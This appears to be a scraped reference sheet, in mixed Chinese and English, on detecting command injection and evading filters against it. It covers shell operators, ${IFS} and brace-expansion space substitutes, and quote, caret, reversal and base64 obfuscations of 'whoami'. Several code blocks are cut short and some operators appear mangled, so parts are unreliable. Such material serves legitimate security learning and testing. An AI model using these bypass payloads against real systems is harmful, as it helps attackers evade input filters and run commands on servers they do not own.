Command Injections
常见的注入类型:
Injection | Description |
---|---|
OS Command Injection | 当用户输入直接用作操作系统命令的一部分时发生。 |
Code Injection | 当用户输入直接位于评估代码的函数内时发生。 |
SQL Injection | 当用户输入直接用作 SQL 查询的一部分时发生。 |
Cross-Site Scripting/HTML Injection | 当网页上显示准确的用户输入时发生。 |
… |
Detection
OS Command Injection
Character | URL-Encoded Character | Executed Command |
---|---|---|
; |
%3b |
两个都 |
\n |
%0a |
两个都 |
& |
%26 |
两者(第二个输出通常首先显示) |
| |
%7c |
两者(仅显示第二个输出) |
&& |
%26%26 |
两者(仅当第一个成功时) |
| |
%7c%7c |
第二(仅当第一失败时) |
`` |
%60%60 |
两者(仅限 Linux) |
$() |
%24%28%29 |
两者(仅限 Linux) |
Other Injection
Injection Type | Operators |
---|---|
SQL Injection | ' , ; -- /* */ |
Command Injection | ; && |
LDAP Injection | * ( ) & | |
XPath Injection | ' or and not substring concat count |
OS Command Injection | ; & | |
Code Injection | ' ; -- /* */ $() ${} #{} %{} ^ |
Directory Traversal/File Path Traversal | ../ ..\\ %00 |
Object Injection | ; & | |
XQuery Injection | ' ; -- /* */ |
Shellcode Injection | \x \u %u %n |
Header Injection | \n \r\n \t %0d %0a %09 |
Bypassing
Character Filters
Linux
查看环境变量
1 | export |
Space
Character | Description |
---|---|
%0a |
换行符 |
%09 |
制表位 |
${IFS} |
Linux环境变量,默认值是空格和制表符 |
{ls,-l} |
大括号扩展,相当于执行 ls -l |
/
1 | $ echo ${PATH:0:1} |
;
1 | $ echo ${LS_COLORS:10:1} |
Others
1 | # 字符映射 |
Windows
查看环境变量
`
1 | # cmd |
\
1 | # cmd |
Command Filters
Linux
'
1 | w'h'o'am'i |
"
1 | w"h"o"am"i |
\
1 | w\ho\am\i |
$@
1 | # $@ 是一个特殊变量,表示所有传递给脚本或函数的参数。当没有传递任何参数时,$@ 的值为空,因此它不会产生任何影响。 |
Windows
'
1 | w'h'o'am'i |
"
1 | w"h"o"am"i |
^
1 | who^ami |
Command Obfuscation
Linux
大小写
1 | # 替换大写 |
反转字符串
1 | $(rev<<<'imaohw') |
base64
1 | # encode |
xxd
1 | # encode |
Windows
大小写
1 | WhOaMi |
反转字符串
1 | iex "$('imaohw'[-1..-20] -join '')" |
base64
1 | # encode |
…